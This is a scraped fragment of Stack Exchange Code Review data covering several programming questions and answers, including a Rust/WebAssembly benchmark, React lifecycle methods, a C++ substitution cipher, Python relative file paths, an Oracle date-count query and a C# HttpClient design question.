href=\"https://en.cppreference.com/w/cpp/container/deque\" rel=\"nofollow noreferrer\"><code>std::deque<int></code></a>, and then write:</p>\n\n<pre><code> } else if (distance_to_index == expected_next_values[0]) {\n expected_next_values.pop_front();\n expected_next_values.push_back(0);\n } ...\n</code></pre>\n\n<p>That is more efficient for larger values of <code>max_swaps</code>, since it avoids touching all elements of <code>expected_next_values</code>.</p>\n\n<h1>Learning more about STL algorithms</h1>\n\n<p>Doing coding challenges is probably a good way to learn more about the language you are programming in. A good overview of all available algorithms is the <a href=\"https://www.fluentcpp.com/getthemap/\" rel=\"nofollow noreferrer\">World Map of C++ STL Algorithms</a>. In general, if you are writing some piece of code and are thinking: \"hm, this looks like a common problem, why hasn't someone already implemented it?\", then probably your hunches are right and there is already something available that solves it, either in the STL, Boost, or in some other readily available library. Go and use your favorite search engine to find if that's indeed the case.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T22:01:30.883",
"Id": "236810",
"ParentId": "236589",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:08:13.050",
"Id": "236589",
"Score": "1",
"Tags": [
"c++",
"algorithm",
"programming-challenge"
],
"Title": "Count minimum adjacent swaps - HackerRank New Year Chaos"
}
|
236589
|
<p>I've wanted to try Rust and WebAssembly for a while. I recently realized that I could try both at the same time by compiling Rust to WebAssembly.</p>
<p>I wanted to know what the performances of something like that would be so I came up with a simple test :</p>
<ol>
<li>Make a few mathematical operations in pure js a few times in a loop and measure execution time</li>
<li>Do the same thing in a Rust function, compiled to WebAssembly and imported into Node.js</li>
<li>Compare results</li>
</ol>
<p><strong>Does this approach make any sense to you?</strong></p>
<p><strong>Does my implementation below make any sense to you?</strong></p>
<p><strong>Am I benchmarking what I think I am benchmarking?</strong></p>
<hr>
<p><code>index.js</code></p>
<pre><code>const http = require('http');
const hostname = '127.0.0.1';
const port = 3000;
const fs = require('fs');
var source = fs.readFileSync('./compute.wasm');
const server = http.createServer(async (req, res) => {
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
const start = process.hrtime.bigint();
let n = 1000000;
let js_result = 0;
for (let i = 0; i < n; i++) {
js_result += Math.sqrt(i) / Math.exp(i);
}
const js = process.hrtime.bigint();
const env = {
memoryBase: 0,
tableBase: 0,
memory: new WebAssembly.Memory({
initial: 256
}),
table: new WebAssembly.Table({
initial: 0,
element: 'anyfunc'
})
}
var typedArray = new Uint8Array(source);
WebAssembly.instantiate(typedArray, {
env: env
}).then(result => {
const wasm_result = result.instance.exports.compute(n);
const wasm = process.hrtime.bigint();
const js_time = js - start;
const wasm_time = wasm - js;
const winner = js_time > wasm_time ? "wasm" : "js";
const str = `+==========+================================+================================+
| | time (ns) | result |
+----------+--------------------------------+--------------------------------+
| js | ${js_time}${" ".repeat(31 - js_time.toString().length)}| ${js_result}${" ".repeat(31 - js_result.toString().length)}|
+----------+--------------------------------+--------------------------------+
| wasm | ${wasm_time}${" ".repeat(31 - wasm_time.toString().length)}| ${wasm_result}${" ".repeat(31 - wasm_result.toString().length)}|
+==========+================================+================================+
${winner} wins!`;
res.end(str);
}).catch(e => {
// error caught
console.log(e);
res.end("err");
});
});
server.listen(port, hostname, () => {
console.log(`Server running at http://${hostname}:${port}/`);
});
</code></pre>
<p><code>compute.rs</code></p>
<pre><code>#[no_mangle]
pub extern fn compute(idx: i32) -> f64 {
let mut sum = 0.0;
for i in 0..idx {
sum += (i as f64).sqrt() / (i as f64).exp();
}
return sum;
}
</code></pre>
<p>Compile this code as follows</p>
<pre><code>rustup update
rustup target add wasm32-unknown-unknown
rustc --target wasm32-unknown-unknown -O --crate-type=cdylib compute.rs -o compute.big.wasm
</code></pre>
<p>Reduce the size by removing unused stuff from the module:</p>
<pre><code>cargo install --git https://github.com/alexcrichton/wasm-gc
wasm-gc compute.big.wasm compute.wasm
</code></pre>
<p>Run the app <code>node index.js</code> and go to <code>http://127.0.0.1:3000/</code> to output the result, for example</p>
<pre><code>+==========+================================+================================+
| | time (ns) | result |
+----------+--------------------------------+--------------------------------+
| js | 35706500 | 0.7072407184868039 |
+----------+--------------------------------+--------------------------------+
| wasm | 6141100 | 0.7072407184868039 |
+==========+================================+================================+
wasm wins!
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T16:16:30.490",
"Id": "463732",
"Score": "0",
"body": "I'm not sure this benchmark makes much sense. First of all you're measuring something \"precompiled\" and already optimized (Rust, the loop...) vs something that will be possibly compiled the first time it will be needed (yes, also wasm code has to be compiled to machine code but it's so simple than even a fast single pass streaming AoT compiler can do a great job). So yes, in general wasm is MUCH more efficient than JS. How much? It depends on what you're doing. You may even cherry-pick some code where a good JS engine can run the same code at nearly native speed but that won't prove anything."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:58:14.467",
"Id": "463820",
"Score": "0",
"body": "@AdrianoRepetti Yes, comparing the two is the point. Although compiled rust should be faster, I've read that some browsers might actually execute wasm slower than native js, which is why I'm trying it myself :) As far as benchmarking goes, I'm aware that a cherry-picked piece of code does not prove anything. What I'm asking here is some code review from people like you who are experienced with rust/wasm/js integration and are able to tell me if I'm doing something wrong in my little experimentation :)"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:19:59.577",
"Id": "236590",
"Score": "2",
"Tags": [
"javascript",
"node.js",
"rust",
"webassembly"
],
"Title": "Rust/WebAssembly VS pure JavaScript benchmark in Node.js"
}
|
236590
|
<p>I'm new to react and I'm still using the life cycle methods, so my question is since <code>componentDidMount()</code> acts like a constructor I'm planning to initialize everything there:</p>
<pre><code>render() {
return (
<div className="done-container" style={this.style().taskContainer}>
<span style={this.style().title}>Done</span>
{
this.props.done.map((d) => (
<div className={`done ${this.state.isActive ? 'active' : ''}`} id={this.props.done.id}
onClick={(e) => {
this.props.setTaskID(d.id);
this.setToActive(e); //3.Call <-----
this.props.arrowStyleToDone();
}}>
</div>
))
}
</div>
)
}
setToActive //1.Declare <----
componentDidMount() {
//2.Initialize <-----
this.setToActive = (e) => {
if(!e.target.classList.contains('active')) {
e.currentTarget.classList.add('active');
e.currentTarget.classList.add('border-done')
this.props.closeAllTasks();
this.props.closeAllDoing();
} else {
e.currentTarget.classList.remove('active');
e.currentTarget.classList.remove('border-done')
this.props.disableArrowButton();
}
}
}
}
</code></pre>
<p>My idea is that if I declare everything inside the class which looks very ugly in my opinion, but then initializing everything on <code>componentDidMount()</code> my web app will be faster because it won't need to declare and initialize everything every render.</p>
<p>Is this correct? and should I put the declaring and initialization on top of <code>render()</code>? but the <code>componenDidMount()</code> is called after the initial render.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T00:41:37.400",
"Id": "463783",
"Score": "0",
"body": "Can I suggest reducing your indent size."
}
] |
[
{
"body": "<p>Lifecycle hooks are functions that are invoked at different stages of a component. Here <code>constructor()</code> and <code>componentDidMount()</code> works different. From my point of view, <code>state</code> variables are initialized inside <code>constructor()</code> and api calls are done in <code>componentDidMount()</code> hook. we are not supposed to define function definitions inside lifecycle hooks. Your above component can be converted to</p>\n\n<pre><code>class Demo extends React.Component {\n constructor(props) {\n super(props);\n this.state = {\n isActive: false\n };\n }\n\n setToActive = (e, id) => {\n const {\n setTaskID,\n arrowStyleToDone,\n closeAllTasks,\n closeAllDoing,\n disableArrowButton\n } = this.props;\n setTaskID(id);\n arrowStyleToDone();\n if (!e.target.classList.contains(\"active\")) {\n e.currentTarget.classList.add(\"active\");\n e.currentTarget.classList.add(\"border-done\");\n closeAllTasks();\n closeAllDoing();\n } else {\n e.currentTarget.classList.remove(\"active\");\n e.currentTarget.classList.remove(\"border-done\");\n disableArrowButton();\n }\n };\n\n componentDidMount() {} // no need for this lifecycle since we are not making any initial function call, like fetch from api etc.\n\n render() {\n const { done } = this.props;\n const { isActive } = this.state;\n return (\n <div className=\"done-container\" style={this.style().taskContainer}>\n <span style={this.style().title}>Done</span>\n {done &&\n done.map(item => (\n <div\n className={`done ${isActive ? \"active\" : \"\"}`}\n key={item.id}\n onClick={e => this.setToActive(e, item.id)}\n ></div>\n ))}\n </div>\n );\n }\n}\n</code></pre>\n\n<p>Basic structure of React component is</p>\n\n<p>Class component</p>\n\n<pre><code>class Class_Name extends Component{\n constructor(){\n this.state = {} // state variable\n this.toggleTab = this.toggleTab.bind(this);\n }\n\n // other functions\n toggleTab = ()=>{} // these are example functions.\n\n // life cycle hooks if you are using any\n\n render(){\n return (\n\n )\n\n }\n\n\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T02:38:00.463",
"Id": "463787",
"Score": "0",
"body": "thank you, I guess I'm just going to use componentDidMount() for http requests, then define functions in the class but outside the render()."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T03:55:26.473",
"Id": "463789",
"Score": "0",
"body": "@KevinBryan exactly thats how you do, you can reach me at anytime. will update if I am free"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:59:20.927",
"Id": "236592",
"ParentId": "236591",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "236592",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:42:35.873",
"Id": "236591",
"Score": "1",
"Tags": [
"javascript",
"react.js"
],
"Title": "correct coding structure in React.js?"
}
|
236591
|
<p>I'm a beginner and I have a question (somehow silly and stupid :) ). Today I decided to challenge myself and I came around the challenge that wanted me to create a program that ciphers (or encrypts) the message using the substitution cipher method. I solved the challenge by myself but mine is way different than the solution itself. I just want to know which one is better and why? And also is there anything I missed in my own code?</p>
<p>So here is the code I've written:</p>
<pre><code>#include <iostream>
#include <string>
using namespace std;
int main()
{
string secretMessage {};
string alphabet {"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"};
string key {"XZNLWEBGJHQDYVTKFUOMPCIASRxznlwebgjhqdyvtkfuompciasr"};
cout << "Enter your secret message: ";
getline(cin, secretMessage);
//Encryption
for(size_t i{0}; i<secretMessage.length(); ++i){
for(size_t j{0}; j<alphabet.length(); ++j){
if (secretMessage.at(i) == alphabet.at(j)){
secretMessage.at(i) = key.at(j);
break;
}
}
}
cout << "Encrypting The Message..." << endl;
cout << "Encrypted Message: " << secretMessage << endl;
//Decryption
for(size_t i{0}; i<secretMessage.length(); ++i){
for(size_t j{0}; j<key.length(); ++j){
if (secretMessage.at(i) == key.at(j)){
secretMessage.at(i) = alphabet.at(j);
break;
}
}
}
cout << "\nDecrypting The Encryption..." << endl;
cout << "Decrypted: " << secretMessage << endl;
return 0;
}
</code></pre>
<p>And here is the solution:</p>
<blockquote>
<pre><code>#include <iostream>
#include <string>
using namespace std;
int main()
{
string secretMessage {};
string alphabet {"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"};
string key {"XZNLWEBGJHQDYVTKFUOMPCIASRxznlwebgjhqdyvtkfuompciasr"};
string encryptedMessage {};
string decryptedMessage {};
cout << "Enter your secret message: ";
getline(cin, secretMessage);
cout << "\nEncrypting Message..." << endl;
//Encryption
for(char c:secretMessage){
size_t position = alphabet.find(c);
if (position != string::npos){
char newChar {key.at(position)};
encryptedMessage += newChar;
} else{
encryptedMessage += c;
}
}
cout << "Encrypted Message: " << encryptedMessage << endl;
//Decryption
cout << "\nDecrypting Message..." << endl;
for(char c:encryptedMessage){
size_t position = key.find(c);
if (position != string::npos){
char newChar {alphabet.at(position)};
decryptedMessage += newChar;
} else{
decryptedMessage += c;
}
}
cout << "Decrypted Message: " << decryptedMessage << endl;
return 0;
}
</code></pre>
</blockquote>
<p>Note:I have also included the decryption part too</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:58:43.763",
"Id": "463744",
"Score": "0",
"body": "I've edited to be clearer which code is yours and which is not (the latter isn't reviewable here). Please make sure that you are allowed to re-publish the solution code on Stack Exchange - I don't want you to be in trouble!"
}
] |
[
{
"body": "<h1>Avoid <code>using namespace std</code></h1>\n\n<p>It's a bad idea to import large namespaces such as <code>std</code> into the global namespace, and it could possibly even change the meaning of your code when a later standard adds new identifiers. Reserve <code>using namespace</code> for those few namespaces specifically designed to be used that way (notably <code>std::literals</code>).</p>\n\n<h1>Use <code>const</code> appropriately</h1>\n\n<p>We don't want <code>alphabet</code> or <code>key</code> to be modified, so prevent accidents by declaring them as <code>const std::string</code>.</p>\n\n<h1><code>getline()</code> can fail</h1>\n\n<p>If the input stream is closed, <code>getline()</code> will read nothing, and the string will be empty. That's probably acceptable for this program, but probably worth a comment to show that you've considered this.</p>\n\n<h1>Use range-based <code>for</code></h1>\n\n<p>We have an integer loop whose value is used only for indexing into the string:</p>\n\n<blockquote>\n<pre><code>for(size_t i{0}; i<secretMessage.length(); ++i){\n // use secretMessage[i] here\n</code></pre>\n</blockquote>\n\n<p>That's easier to read with modern range-based syntax:</p>\n\n<pre><code>for (auto const c: secretMessage) {\n // use c here\n</code></pre>\n\n<h1>Use standard algorithms</h1>\n\n<p>We can include <code><algorithm></code> to get some really useful functions from the standard library. In particular, <code>std::find()</code> could replace the loop that searches in the alphabet.</p>\n\n<h1>Reduce duplication</h1>\n\n<p>Notice that there are two blocks of code that are almost identical, due to the symmetric nature of this cipher. The only difference is that the role of alphabet and key are swapped. This makes it a good candidate to extract as a function:</p>\n\n<pre><code>std::string substitute(const std::string& message,\n const std::string& from,\n const std::string& to)\n</code></pre>\n\n<p>Then we could just call it:</p>\n\n<pre><code>auto encrypted = substitute(secretMessage, alphabet, key);\nauto decrypted = substitute(encrypted, key, alphabet);\n</code></pre>\n\n<h1>Avoid linear search</h1>\n\n<p>We can be more efficient with our lookup than simple linear search. For example, we could construct a pair of <code>std::map<char,char></code> from the alphabet and key.</p>\n\n<h1>Clean up the plaintext</h1>\n\n<p>I know this is just toy encryption, but for real code, we'd want to overwrite the decrypted text when we finish using it, to reduce the ability for an attacker to access it (e.g. from a core dump). Remembering <code><algorithm></code>, we'd use <code>std::fill()</code> for this.</p>\n\n<h1>Omit the return</h1>\n\n<p>In <code>main()</code> (and only there), we can omit the <code>return</code> statement and the compiler will automatically return <code>0</code> for us. It's a fairly common convention to omit the <code>return</code> if we don't have any non-zero (i.e. error) returns from <code>main()</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:44:25.293",
"Id": "463754",
"Score": "0",
"body": "Thank you for the time you put and your help...I appreciate it and to be honest I've never seen anyone like you explain things completely :)...So thank you..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T22:10:34.110",
"Id": "463774",
"Score": "0",
"body": "Is `std::fill` guaranteed to survive the compiler optimizations? Otherwise your advice wouldn't make sense."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:16:25.323",
"Id": "463803",
"Score": "0",
"body": "Good question @Roland, and I don't know the answer right now. Security code is always harder than one expects!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:35:47.600",
"Id": "236602",
"ParentId": "236598",
"Score": "8"
}
}
] |
{
"AcceptedAnswerId": "236602",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:52:47.440",
"Id": "236598",
"Score": "3",
"Tags": [
"c++",
"c++11",
"c++14"
],
"Title": "Substitution Cipher: Which One?"
}
|
236598
|
<p>I use the following function for opening files in Python:</p>
<pre><code>def file_path(relative_path):
folder = os.path.dirname(os.path.abspath(__file__))
path_parts = relative_path.split("/")
new_path = os.path.join(folder, *path_parts)
return new_path
</code></pre>
<p>I call it with a relative path, like this:</p>
<pre><code>with open(file_path("my_files/zen_of_python.txt")) as f:
zop = f.read()
</code></pre>
<p>I like it because you can use a relative path works no matter where the Python script is executed from:</p>
<ol>
<li><code>folder = os.path.dirname(os.path.abspath(__file__))</code> gets the
absolute path to the folder holding the python script.</li>
<li><code>os.path.join(folder, *path_parts)</code> gets an os-independent path to the file to open.</li>
</ol>
<p>To further explain, let's say I have the following folder structure:</p>
<blockquote>
<pre><code>- parent_folder
- example.py
- my_files
- zen_of_python.txt
</code></pre>
</blockquote>
<p>If example.py looks like this:</p>
<pre><code>with open("my_files/zen_of_python.txt") as f:
zop = f.read()
</code></pre>
<p>Then I have to run example.py from the parent_folder directory or else it won't find <code>my_files/zen_of_python.txt</code>.</p>
<p>But if I open <code>my_files/zen_of_python.txt</code> using the <code>file_path()</code> function shown above, I can run example.py from anywhere.</p>
<p>One downside as @infinitezero pointed out is that you can't use an absolute path, but for my purposes, that's okay for my purposes. The script is self-contained. I'm not passing in external files when I run it.</p>
<p>Can anyone see any downside to this? Or does anyone have a more Pythonic way of accomplishing the same thing?</p>
|
[] |
[
{
"body": "<p>Your code represents a well-known pattern. In Java, files like this are called <em>resource files</em> and they are delivered together with the code in a .jar file (which is essentially a .zip file).</p>\n\n<p>As pointed out in a comment, you cannot use your code with absolute paths. This is good since the entire purpose of the code is to find a resource <em>relative</em> to the source code that needs this resource.</p>\n\n<p>The call to <code>abspath</code> looks redundant to me. I'm assuming that <code>__file__</code> is already an absolute path. You may want to check the documentation about it.</p>\n\n<p>A downside of your function is that you have to define it in each file that wants to open relative files since it uses <code>__file__</code>. You cannot <code>import</code> that function, as it is now.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:14:46.183",
"Id": "464030",
"Score": "0",
"body": "If you execute a script using a relative path (e.g., `python my_file.py`), then `__file__` will be relative. You're right that a downside is that you cannot import the function unless it's in the same directory. You could fix this by accepting `__file__` as a 2nd param."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T01:55:30.427",
"Id": "236679",
"ParentId": "236604",
"Score": "3"
}
},
{
"body": "<p>If using just <code>os.path</code>, this looks almost perfect.</p>\n\n<ul>\n<li>Move <code>folder</code> into the global scope, as there's no point not to. It means that the function can be made simpler - as it's now split into two seperate entities.</li>\n</ul>\n\n<pre class=\"lang-py prettyprint-override\"><code>FOLDER = os.path.dirname(os.path.abspath(__file__))\n\n\ndef file_path(relative_path):\n return os.path.join(folder, *relative_path.split(\"/\"))\n</code></pre>\n\n<hr>\n\n<p>It would be better if you used <code>pathlib</code>. This is the modern version of <code>os.path</code>. If you do, then I would recomend just making <code>folder</code> as there would be no need for the function.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>FOLDER = pathlib.Path(__file__).resolve().parent\n\nwith (FOLDER / 'my_files/zen_of_python.txt').open() as f:\n ...\n</code></pre>\n\n<p>Here are some examples of running it on Windows in Python 3.8.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>>>> import pathlib\n>>> FOLDER = pathlib.Path('foo')\n>>> FOLDER / 'bar/baz' # Unix style\nWindowsPath('foo/bar/baz')\n>>> FOLDER / 'bar\\\\baz' # Windows style\nWindowsPath('foo/bar/baz')\n>>> FOLDER / 'bar' / 'baz' # Pathlib style\nWindowsPath('foo/bar/baz')\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T19:31:53.627",
"Id": "236735",
"ParentId": "236604",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T18:42:07.033",
"Id": "236604",
"Score": "8",
"Tags": [
"python",
"file"
],
"Title": "Opening a file in Python"
}
|
236604
|
<p>DB version is: Oracle 12c. Restricted to the use of inline PL/SQL. </p>
<p>The end goal here is to get a count of open items by day, inclusive of created date, exclusive of the end date. </p>
<p>The data structure is approximately:</p>
<pre><code>| id | open_date | close_date |
|----|------------|------------|
| a | 01/01/2020 | 01/04/2020 |
| b | 01/02/2020 | 01/05/2020 |
</code></pre>
<p>The end result would be something like: </p>
<pre><code>| date | open_item |
|------------|-----------|
| 01/01/2020 | 1 |
| 01/02/2020 | 2 |
| 01/03/2020 | 2 |
| 01/04/2020 | 1 |
| 01/05/2020 | 0 |
</code></pre>
<p>the start date in all this is user input, but that's not terribly relevant. </p>
<p>What I had done is generate a table of dates using that user input date in a cte like so: </p>
<pre><code>with caledar_dates as (
select user_input_date + rownum-1 dates
from dual connect by rownum < sysdate-user_input_date+1
)
</code></pre>
<p>Then joined the items table to the calendar_dates table in another CTE like so: </p>
<pre><code>item_list as (
select
a.dates,
b.id
from calendar_dates a
left join ticket_table b on a.dates>=b.created_date-1 and a.dates<b.closed_date
)
</code></pre>
<p>Finally, I then simply </p>
<pre><code>select count(b.id), dates from item_list group by dates
</code></pre>
<p>There may be a few syntax errors above since I am truncating the actual code. This query works; however, it seems like an inefficient, wordy, ugly approach to the problem and if the user inputs a date a few years back, the query takes a few minutes to run. </p>
<p>Looking for an alternative and hopefully more efficient approach. </p>
<p>Not sure if this went on SO or here so happy to post over there if that seems the better venue. </p>
<p>Mahalo's in advance. </p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:34:21.410",
"Id": "463815",
"Score": "0",
"body": "Welcome to Code Review! *\"I am truncating the actual code\"* is usually not something that is liked very much here on this site. Unfortunately my knowledge on your specific topic is not deep enough to be able to judge if crucial information is missing because of the abbreviated code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:36:46.810",
"Id": "463880",
"Score": "0",
"body": "Thanks AlexV. The code that is removed is just to remove information specific to the database I am working, ie other columns I am pulling + a few column renames. The time difference between running the truncated code vs. the actual code is not measurable on my side."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-04-02T15:22:17.820",
"Id": "470417",
"Score": "0",
"body": "One thing to note, I would recommend using `TRUNC(b.created_date)` instead of `b.created_date-1`. I know it seems trivial, but I ran into an issue with this a few years back where something happened exactly at midnight (DATE datatype so down to the second) and it was a huge pain to debug what was going wrong when I pulled too much info back."
}
] |
[
{
"body": "<p>In looking at your query, I think there may be a few things you can do to improve your performance. The first is that you can aggregate your ticket_table ahead of time based on the request interval. Second, unless it is needed for the logic that you redacted, I would avoid using the CTE once you start doing the real logic. You may be depriving the optomizer of information it could use. You might try something like the following query:</p>\n\n<pre class=\"lang-sql prettyprint-override\"><code>WITH query_interval AS\n(\n SELECT TO_DATE('09/01/2012', 'MM/DD/YYYY') AS START_DATE, TRUNC(SYSDATE) AS END_DATE\n FROM DUAL\n),\ninterval_dates AS\n(\n SELECT qi.start_date + ROWNUM - 1 AS I_DATE\n FROM query_interval qi\n CONNECT BY ROWNUM < qi.end_date - qi.start_date\n)\nSELECT i.i_date, SUM(sub.cycle_count)\nFROM interval_dates i\nLEFT JOIN (SELECT GREATEST(TRUNC(tt.start_date), qi.start_date) AS OPEN_DATE,\n LEAST(TRUNC(tt.end_date)-1, qi.end_date) AS CLOSE_DATE,\n COUNT(*) AS CYCLE_COUNT\n FROM ticket_table tt\n CROSS JOIN query_interval qi\n WHERE GREATEST(TRUNC(tt.start_date), qi.start_date) <= LEAST(TRUNC(tt.end_date)-1, qi.end_date)\n GROUP BY GREATEST(TRUNC(tt.start_date), qi.start_date), LEAST(TRUNC(tt.end_date)-1, qi.end_date)) sub ON I_DATE BETWEEN sub.open_date AND sub.close_date\nGROUP BY i.i_date\nORDER BY i.i_date;\n</code></pre>\n\n<p>Most of this is similar to what you already had, but there are some differences. First you notice that I added a CTE with just the interval. This allows me to perform the aggregation that I mentioned earlier. The aggregation works like this:</p>\n\n<ol>\n<li>First, we limit our search to tickets which were open at some point during our query interval. That I'm using the GREATEST <= LEAST to determine an overlap between the ticket and the query interval.</li>\n<li>We clip tickets that hang over the ends of our search interval. You really don't care that they are open before your search, just that they are open during your search.</li>\n<li>We aggregate all cycles which now have the same start and end dates.</li>\n</ol>\n\n<p>After that, the logic is pretty similar to what you already had. A left join between the full list of dates and our modified table. Then instead of using COUNT, we use SUM.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-04-02T16:15:23.250",
"Id": "239809",
"ParentId": "236616",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "239809",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T01:48:22.927",
"Id": "236616",
"Score": "1",
"Tags": [
"sql",
"oracle"
],
"Title": "capturing counts of open items between dates"
}
|
236616
|
<p>Once upon a time there was a noob developer who learned it all by himself because he grew up in a nation far behind in IT.</p>
<p>I've tried to learn C# for about 5 years, without any improvement over the last two. Then i decided to use you! StackExchange community.</p>
<p>Every time i try to write code i will stand in front of what i wrote asking my self:
"What's the correct way to do that?"</p>
<p>I would like to learn clean and beauty code so this is my first question, so answer if you're obsessed with that like me.</p>
<p>Scenario Console Application:</p>
<pre><code>using System;
using System.Collections.Generic;
using System.Net.Http;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
namespace ConsoleApp1
{
class Program
{
static async Task Main(string[] args)
{
WebHandler firstType = new WebHandler(new FirstType());
var res = await firstType.GetAllResponsesAsync();
foreach (var str in res)
{
Console.WriteLine(str);
}
return;
}
public interface IWebHandler
{
Task<List<string>> SelectAllResponsesAsync();
}
public class WebHandler
{
public IWebHandler Web;
public WebHandler(IWebHandler webHandler)
{
this.Web = webHandler;
}
public async Task<List<string>> GetAllResponsesAsync()
{
var result = await Web.SelectAllResponsesAsync();
return result;
}
}
public class FirstType : IWebHandler
{
HttpClient client;
public FirstType()
{
client = new HttpClient();
}
public async Task<List<string>> SelectAllResponsesAsync()
{
var response = await client.GetAsync("http://www.google.com");
var str = await response.Content.ReadAsStringAsync();
var matches = Regex.Matches(str, "<a href.*?>(.*?)</a>");
List<string> list = new List<string>();
for (int i = 0; i < matches.Count; i++)
{
list.Add(matches[i].Groups[1].Value);
}
return list;
}
}
}
}
</code></pre>
<p>Questions:</p>
<p>1) Should i instantiate the HttpClient in the "Main" function and pass it to every WebHandler as a Singleton?</p>
<p>2) Should i use DI for this purpose?</p>
<p>3) How i could test, with an UnitTest, the SelectAllResponsesAsync method, passing to it a custom string as response, without doing a request to google.com? </p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T11:35:49.530",
"Id": "463839",
"Score": "4",
"body": "The current question title is too general to be useful here. Please edit to the site standard, which is for the title to **simply state the task accomplished by the code**. Please see [**How to get the best value out of Code Review: Asking Questions**](https://CodeReview.Meta.StackExchange.com/q/2436) for guidance on writing good question titles."
}
] |
[
{
"body": "<p>I really see no point in using <a href=\"https://sourcemaking.com/design_patterns/decorator\" rel=\"nofollow noreferrer\">decorator pattern</a> in your case since <code>WebHandler</code> doesn't actually decorate <code>FirstType</code> but merely adds another level of abstraction.</p>\n\n<p>So I suggest removing both <code>WebHandler</code> and <code>IWebHandler</code> to keep it simple.</p>\n\n<p>As for unit testing, a lot of folks adding their own custom <code>IHttpClient</code> in order to facilitate mocking. But I think that defining such a poor abstraction is the wrong choice. Instead, I suggest creating a class that accepts data instead of an interface which can be easily tested. <a href=\"https://blog.ploeh.dk/2017/01/27/from-dependency-injection-to-dependency-rejection/\" rel=\"nofollow noreferrer\">Here's a series of posts</a> that will describe the idea better than me.</p>\n\n<p>The code for your case</p>\n\n<pre><code>class Program\n{\n static async Task Main(string[] args)\n {\n var firstType = new FirstType();\n\n var res = await firstType.SelectAllResponsesAsync();\n\n foreach (var str in res)\n {\n Console.WriteLine(str);\n }\n\n return;\n }\n\n public class FirstType\n {\n\n HttpClient client;\n\n public FirstType()\n {\n client = new HttpClient();\n }\n\n public async Task<List<string>> SelectAllResponsesAsync()\n {\n var response = await client.GetAsync(\"http://www.google.com\");\n var str = await response.Content.ReadAsStringAsync();\n return UrlParser.Parse(str);\n }\n }\n\n public static class UrlParser\n {\n // this can be tested really easy\n // just provide the data to it\n public static List<string> Parse(string str)\n {\n var matches = Regex.Matches(str, \"<a href.*?>(.*?)</a>\");\n\n var list = new List<string>();\n for (var i = 0; i < matches.Count; i++)\n {\n list.Add(matches[i].Groups[1].Value);\n }\n return list;\n }\n }\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:00:03.387",
"Id": "464086",
"Score": "0",
"body": "What you mean with \"Decor\"? I could also have a SecondType with the same methods, for example, i could have a FirstType for parse Google and a SecondType for parse Bing, is your answer valid even with this case? About the DI i followed this tutorial https://dotnettutorials.net/lesson/dependency-injection-design-pattern-csharp/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:06:17.210",
"Id": "464088",
"Score": "0",
"body": "Forgot to ask, why using a static class to parse instead of a method in the FirstType class?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:05:53.423",
"Id": "464126",
"Score": "0",
"body": "> What you mean with \"Decor\"? I\nI mean that you've implemented decorator pattern either knowing it or not. But in your case decorator is wasteful since it does not decorate your class with additional behaviour\n> i could have a FirstType for parse Google and a SecondType for parse Bing\nthen it'll still have no value since you'll have to construct your classes to inject them into wrapper, while you can access them directly instead.\n> why using a static class to parse instead of a method in the FirstType class?\nbecause you wanted to test it without passing the request to google.com"
}
],
"meta_data": {
